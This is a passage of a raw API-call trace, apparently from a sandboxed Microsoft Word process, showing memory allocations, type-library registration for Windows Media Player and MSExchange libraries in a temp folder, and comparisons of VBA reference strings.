(This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d9240 [0113.086] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d9240) returned 0x18 [0113.231] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d92e0 [0113.231] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d92e0) returned 0x18 [0113.231] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08ff0 [0113.231] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08ff0) returned 0x8 [0113.232] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d9640 [0113.232] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d9640) returned 0x18 [0113.233] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08ff0 [0113.233] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08ff0) returned 0x8 [0113.233] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d90a0 [0113.233] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d90a0) returned 0x18 [0113.234] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d8fe0 [0113.234] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8fe0) returned 0x18 [0113.234] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d9540 [0113.234] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d9540) returned 0x18 [0113.235] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d90a0 [0113.235] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d90a0) returned 0x18 [0113.236] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d94c0 [0113.236] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d94c0) returned 0x18 [0113.236] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d9680 [0113.236] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d9680) returned 0x18 [0113.237] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d8fa0 [0113.237] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8fa0) returned 0x18 [0113.238] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d9060 [0113.238] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d9060) returned 0x18 [0113.238] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d9060 [0113.238] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d9060) returned 0x18 [0113.239] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d93c0 [0113.239] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d93c0) returned 0x18 [0113.239] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d9680 [0113.239] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d9680) returned 0x18 [0113.240] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09080 [0113.240] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09080) returned 0x8 [0113.241] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d9000 [0113.241] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d9000) returned 0x18 [0113.241] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09300 [0113.241] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09300) returned 0x8 [0113.242] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d9260 [0113.242] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d9260) returned 0x18 [0113.242] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d8f80 [0113.242] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8f80) returned 0x18 [0113.244] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d9740 [0113.244] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d9740) returned 0x18 [0113.244] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9d93e0 [0113.244] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d93e0) returned 0x10 [0113.248] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d9580 [0113.248] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d9580) returned 0x18 [0113.249] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d9540 [0113.249] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d9540) returned 0x18 [0113.249] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d9560 [0113.249] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d9560) returned 0x18 [0113.249] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d9400 [0113.249] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d9400) returned 0x18 [0113.250] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d90a0 [0113.250] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d90a0) returned 0x18 [0113.250] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d94a0 [0113.250] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d94a0) returned 0x18 [0113.250] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d9500 [0113.250] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d9500) returned 0x18 [0113.251] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d8f80 [0113.251] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8f80) returned 0x18 [0113.251] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d9000 [0113.251] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d9000) returned 0x18 [0113.252] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d9040 [0113.252] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d9040) returned 0x18 [0113.252] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d9620 [0113.252] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d9620) returned 0x18 [0113.252] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d9160 [0113.252] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d9160) returned 0x18 [0113.253] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d9240 [0113.253] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d9240) returned 0x18 [0113.253] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d9340 [0113.253] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d9340) returned 0x18 [0113.255] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d93c0 [0113.255] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d93c0) returned 0x18 [0113.255] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d96e0 [0113.256] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d96e0) returned 0x18 [0113.256] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d9440 [0113.256] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d9440) returned 0x18 [0113.257] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d96c0 [0113.257] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d96c0) returned 0x18 [0113.257] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d9440 [0113.257] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d9440) returned 0x18 [0113.258] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d9260 [0113.258] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d9260) returned 0x18 [0113.259] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d8fc0 [0113.259] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d8fc0) returned 0x18 [0113.260] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9d9480 [0113.260] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9d9480) returned 0x18 [0113.266] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x276529dfc80) [0113.266] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb035f0) [0113.266] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03620) [0113.266] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03650) [0113.266] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03a70) [0113.266] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03b00) [0113.266] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03470) [0113.266] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03ce0) [0113.266] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b827b70) [0113.266] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03680) [0113.266] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03350) [0113.266] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b827fb0) [0113.266] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb039b0) [0113.266] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b827bf0) [0113.266] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03b30) [0113.266] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03440) [0113.266] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03320) [0113.266] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6f20) [0113.266] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7f80) [0113.266] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03b60) [0113.266] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03b90) [0113.266] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03380) [0113.266] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb033b0) [0113.266] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb036b0) [0113.266] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb036e0) [0113.266] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03410) [0113.266] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03bf0) [0113.266] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03d10) [0113.266] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9d7fe0) [0113.266] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03710) [0113.818] LoadLibraryA (lpLibFileName="oleaut32.dll") returned 0x7ff9e8160000 [0113.830] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10023aad000001b2) returned 1 [0113.830] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="RegisterTypeLibForUser") returned 0x7ff9e8195640 [0113.831] RegisterTypeLibForUser (ptlib=0x2764b866b80, szFullPath="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Word8.0\\WMPLib.exd", szHelpDir=0x0) returned 0x0 [0113.951] IUnknown:Release (This=0x2764b866b80) returned 0x96 [0113.957] LoadTypeLib (in: szFile="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Word8.0\\WMPLib.exd", pptlib=0xb5690f62b8*=0x0 | out: pptlib=0xb5690f62b8*=0x2764b865dc0) returned 0x0 [0113.962] IUnknown:QueryInterface (in: This=0x2764b865dc0, riid=0x7ff9be1cb198*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f6198 | out: ppvObject=0xb5690f6198*=0x0) returned 0x80004002 [0113.962] ITypeLib:RemoteGetLibAttr (in: This=0x2764b865dc0, ppTLibAttr=0xb5690f6190, pDummy=0xb5690f6198 | out: ppTLibAttr=0xb5690f6190, pDummy=0xb5690f6198*=0x0) returned 0x0 [0113.962] ITypeLib:RemoteGetDocumentation (in: This=0x2764b865dc0, index=-1, refPtrFlags=0x0, pBstrName=0xb5690f6188, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x27600000000 | out: pBstrName=0xb5690f6188*="Windows Media Player", pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x27600000000) returned 0x0 [0113.962] StringFromGUID2 (in: rguid=0x2764bb040a0*(Data1=0x1e50d3f6, Data2=0x45d6, Data3=0x4403, Data4=([0]=0xbb, [1]=0x83, [2]=0xfa, [3]=0x62, [4]=0xbc, [5]=0x4f, [6]=0xf5, [7]=0x24)), lpsz=0xb5690f61b0, cchMax=39 | out: lpsz="{1E50D3F6-45D6-4403-BB83-FA62BC4FF524}") returned 39 [0113.962] _ultow_s (in: _Value=0x1, _Buffer=0xb5690f60fa, _BufferCount=0x10, _Radix=16 | out: _Buffer="1") returned 0x0 [0113.962] _ultow_s (in: _Value=0x0, _Buffer=0xb5690f60fe, _BufferCount=0xe, _Radix=16 | out: _Buffer="0") returned 0x0 [0113.962] _ultow_s (in: _Value=0x0, _Buffer=0xb5690f6102, _BufferCount=0xc, _Radix=16 | out: _Buffer="0") returned 0x0 [0113.962] wcscpy_s (in: _Destination=0x2764b848978, _SizeInWords=0x7b, _Source="*\\G" | out: _Destination="*\\G") returned 0x0 [0113.962] wcscpy_s (in: _Destination=0x2764b84897e, _SizeInWords=0x78, _Source="{1E50D3F6-45D6-4403-BB83-FA62BC4FF524}" | out: _Destination="{1E50D3F6-45D6-4403-BB83-FA62BC4FF524}") returned 0x0 [0113.963] wcscpy_s (in: _Destination=0x2764b8489ca, _SizeInWords=0x52, _Source="#1.0#0#" | out: _Destination="#1.0#0#") returned 0x0 [0113.963] wcscpy_s (in: _Destination=0x2764b8489d8, _SizeInWords=0x4b, _Source="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Word8.0\\WMPLib.exd" | out: _Destination="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Word8.0\\WMPLib.exd") returned 0x0 [0113.963] wcscpy_s (in: _Destination=0x2764b848a44, _SizeInWords=0x15, _Source="Windows Media Player" | out: _Destination="Windows Media Player") returned 0x0 [0113.963] ITypeLib:LocalReleaseTLibAttr (This=0x2764b865dc0) returned 0x0 [0113.963] wcscpy_s (in: _Destination=0x2764b249e98, _SizeInWords=0x7b, _Source="*\\G{1E50D3F6-45D6-4403-BB83-FA62BC4FF524}#1.0#0#C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Word8.0\\WMPLib.exd#Windows Media Player" | out: _Destination="*\\G{1E50D3F6-45D6-4403-BB83-FA62BC4FF524}#1.0#0#C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Word8.0\\WMPLib.exd#Windows Media Player") returned 0x0 [0113.963] ITypeLib:RemoteGetLibAttr (in: This=0x2764b865dc0, ppTLibAttr=0xb5690f6168, pDummy=0x0 | out: ppTLibAttr=0xb5690f6168, pDummy=0x0) returned 0x0 [0113.963] ITypeLib:RemoteGetDocumentation (in: This=0x2764b865dc0, index=-1, refPtrFlags=0x690f6180, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xb5690f7820 | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xb5690f7820) returned 0x0 [0113.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Word8.0\\WMPLib.exd#Windows Media Player", cchWideChar=53, lpMultiByteStr=0xb5690f61f0, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Word8.0\\WMPLib.exd", lpUsedDefaultChar=0x0) returned 53 [0113.963] strcpy_s (in: _Dst=0x2764b66ba18, _DstSize=0x36, _Src="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Word8.0\\WMPLib.exd" | out: _Dst="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Word8.0\\WMPLib.exd") returned 0x0 [0113.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="WMPLib", cchWideChar=7, lpMultiByteStr=0xb5690f6300, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WMPLib", lpUsedDefaultChar=0x0) returned 7 [0114.068] IUnknown:AddRef (This=0x2764b865dc0) returned 0x3 [0114.068] ITypeLib:LocalReleaseTLibAttr (This=0x2764b865dc0) returned 0x0 [0114.068] IUnknown:Release (This=0x2764b865dc0) returned 0x2 [0114.068] IUnknown:Release (This=0x2764b6d0130) returned 0x2 [0114.068] _wcsicmp (_String1="*\\G{0AF7F3BE-8EA9-4816-889E-3ED22871FE05}#1.0#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\ADDINS\\UmOutlookAddin.dll#MSExchange 1.0 Type Library", _String2="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 49 [0114.068] _wcsicmp (_String1="*\\G{0AF7F3BE-8EA9-4816-889E-3ED22871FE05}#1.0#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\ADDINS\\UmOutlookAddin.dll#MSExchange 1.0 Type Library", _String2="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned 49 [0114.068] _wcsicmp (_String1="*\\G{0AF7F3BE-8EA9-4816-889E-3ED22871FE05}#1.0#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\ADDINS\\UmOutlookAddin.dll#MSExchange 1.0 Type Library", _String2="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation") returned 49 [0114.068] _wcsicmp (_String1="*\\G{0AF7F3BE-8EA9-4816-889E-3ED22871FE05}#1.0#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\ADDINS\\UmOutlookAddin.dll#MSExchange 1.0 Type Library", _String2="*\\CNormal") returned 4 [0114.069] _wcsicmp (_String1="*\\G{0AF7F3BE-8EA9-4816-889E-3ED22871FE05}#1.0#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\ADDINS\\UmOutlookAddin.dll#MSExchange 1.0 Type Library", _String2="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library") returned -2 [0114.069] _wcsicmp (_String1="*\\G{0AF7F3BE-8EA9-4816-889E-3ED22871FE05}#1.0#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\ADDINS\\UmOutlookAddin.dll#MSExchange 1.0 Type Library", _String2="*\\G{0D452EE1-E08F-101A-852E-02608C4D0BB4}#2.0#0#C:\\WINDOWS\\system32\\FM20.DLL#Microsoft Forms 2.0 Object Library") returned -3 [0114.069] _wcsicmp (_String1="*\\G{0AF7F3BE-8EA9-4816-889E-3ED22871FE05}#1.0#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\ADDINS\\UmOutlookAddin.dll#MSExchange 1.0 Type Library", _String2="*\\G{415CB841-9E3A-4967-80A5-F5E0091EEA39}#2.0#0#C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Word8.0\\MSForms.exd#Microsoft Forms 2.0 Object Library") returned -4 [0114.069] _wcsicmp (_String1="*\\G{0AF7F3BE-8EA9-4816-889E-3ED22871FE05}#1.0#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\ADDINS\\UmOutlookAddin.dll#MSExchange 1.0 Type Library", _String2="*\\G{6BF52A50-394A-11D3-B153-00C04F79FAA6}#1.0#0#C:\\WINDOWS\\system32\\wmp.dll#Windows Media Player") returned -6 [0114.069] _wcsicmp (_String1="*\\G{0AF7F3BE-8EA9-4816-889E-3ED22871FE05}#1.0#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\ADDINS\\UmOutlookAddin.dll#MSExchange 1.0 Type Library", _String2="*\\G{1E50D3F6-45D6-4403-BB83-FA62BC4FF524}#1.0#0#C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Word8.0\\WMPLib.exd#Windows Media Player") returned -1 [0114.069] _wcsicmp (_String1="*\\G{0AF7F3BE-8EA9-4816-889E-3ED22871FE05}#1.0#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\ADDINS\\UmOutlookAddin.dll#MSExchange 1.0 Type Library", _String2="*\\G{0AF7F3BE-8EA9-4816-889E-3ED22871FE05}#1.0#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\ADDINS\\UmOutlookAddin.dll#MSExchange 1.0 Type Library") returned 0 [0114.069] IUnknown:AddRef (This=0x2764b6d0970) returned 0x2 [0114.069] ITypeLib:RemoteGetLibAttr (in: This=0x2764b6d0970, ppTLibAttr=0xb5690f6168, pDummy=0x0 | out: ppTLibAttr=0xb5690f6168, pDummy=0x0) returned 0x0 [0114.069] ITypeLib:RemoteGetDocumentation (in: This=0x2764b6d0970, index=-1, refPtrFlags=0x690f6180, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0114.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\Root\\Office16\\ADDINS\\UmOutlookAddin.dll#MSExchange 1.0 Type Library", cchWideChar=73, lpMultiByteStr=0xb5690f61f0, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\Root\\Office16\\ADDINS\\UmOutlookAddin.dllb\x0fiµ", lpUsedDefaultChar=0x0) returned 73 [0114.069] strcpy_s (in: _Dst=0x2764ba567d8, _DstSize=0x4a, _Src="C:\\Program Files\\Microsoft Office\\Root\\Office16\\ADDINS\\UmOutlookAddin.dll" | out: _Dst="C:\\Program Files\\Microsoft Office\\Root\\Office16\\ADDINS\\UmOutlookAddin.dll") returned 0x0 [0114.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MSExchangeLib", cchWideChar=14, lpMultiByteStr=0xb5690f6300, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MSExchangeLib", lpUsedDefaultChar=0x0) returned 14 [0114.070] strcpy_s (in: _Dst=0x2764ba56830, _DstSize=0xe, _Src="MSExchangeLib" | out: _Dst="MSExchangeLib") returned 0x0 [0114.070] IUnknown:AddRef (This=0x2764b6d0970) returned 0x3 [0114.070] ITypeLib:LocalReleaseTLibAttr (This=0x2764b6d0970) returned 0x0 [0114.075] IUnknown:AddRef (This=0x2764af38668) returned 0x3 [0114.075] wcscpy_s (in: _Destination=0x2764b78c250, _SizeInWords=0x2c, _Source="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Word8.0" | out: _Destination="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Word8.0") returned 0x0 [0114.075] LoadTypeLib (in: szFile="C:\\Program Files\\Microsoft Office\\Root\\Office16\\ADDINS\\UmOutlookAddin.dll", pptlib=0xb5690f60e8*=0x0 | out: pptlib=0xb5690f60e8*=0x2764b6d0970) returned 0x0 [0114.075] ITypeLib:RemoteGetDocumentation (in: This=0x2764b6d0970, index=-1, refPtrFlags=0x690f6100, pBstrName=0xb5690f6138, pBstrDocString=0xb5690f6178, pdwHelpContext=0xb5690f6128, pBstrHelpFile=0x0 | out: pBstrName=0xb5690f6138*="MSExchange 1.0 Type Library", pBstrDocString=0xb5690f6178, pdwHelpContext=0xb5690f6128*=0x0, pBstrHelpFile=0x0) returned 0x0 [0114.075] wcscpy_s (in: _Destination=0x2763bf55310, _SizeInWords=0x3d, _Source="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Word8.0\\" | out: _Destination="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Word8.0\\") returned 0x0 [0114.075] wcscat_s (in: _Destination="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Word8.0\\", _SizeInWords=0x3d, _Source="MSExchangeLib" | out: _Destination="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Word8.0\\MSExchangeLib") returned 0x0 [0114.075] wcscat_s (in: _Destination="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Word8.0\\MSExchangeLib", _SizeInWords=0x3d, _Source=".exd" | out: _Destination="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Word8.0\\MSExchangeLib.exd") returned 0x0 [0114.075] ITypeLib:RemoteGetLibAttr (in: This=0x2764b6d0970, ppTLibAttr=0xb5690f60f0, pDummy=0x7ff9be1d8f02 | out: ppTLibAttr=0xb5690f60f0, pDummy=0x7ff9be1d8f02*=0x0) returned 0x0 [0114.075] LoadTypeLibEx (in: szFile="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Word8.0\\MSExchangeLib.exd", regkind=0x2, pptlib=0xb5690f62b8*=0x0 | out: pptlib=0xb5690f62b8*=0x0) returned 0x80029c4a [0115.541] CoCreateGuid (in: pguid=0xb5690f6118 | out: pguid=0xb5690f6118*(Data1=0xa580e994, Data2=0xf662, Data3=0x4b2a, Data4=([0]=0x96, [1]=0x28, [2]=0x59, [3]=0x4b, [4]=0xc, [5]=0x8b, [6]=0xbe, [7]=0xf2))) returned 0x0 [0115.542] IUnknown:AddRef (This=0x2764b6d0970) returned 0x6 [0115.542] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x294) returned 0x27645198440 [0115.542] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x27645198440) returned 0x294 [0115.542] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764b7f0af0 [0115.542] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764b7f0880 [0115.543] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764b7f0df0 [0115.543] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1a) returned 0x2764b7f12d0 [0115.543] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764b7f1240 [0115.543] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764b7f0910 [0115.543] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2764b7f0a60 [0115.543] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2e) returned 0x2764b822bf0 [0115.543] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764b7f0b80 [0115.543] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764b7f0bb0 [0115.543] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x32) returned 0x2764b8227f0 [0115.544] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764b7f0ee0 [0115.544] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2c) returned 0x2764b822eb0 [0115.544] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764b7f0f10 [0115.544] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1a) returned 0x2764b7f1c90 [0115.544] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1a) returned 0x2764b7f1e40 [0115.544] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9dac00 [0115.544] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9daae0 [0115.545] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764b7f1840 [0115.545] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764b7f1db0 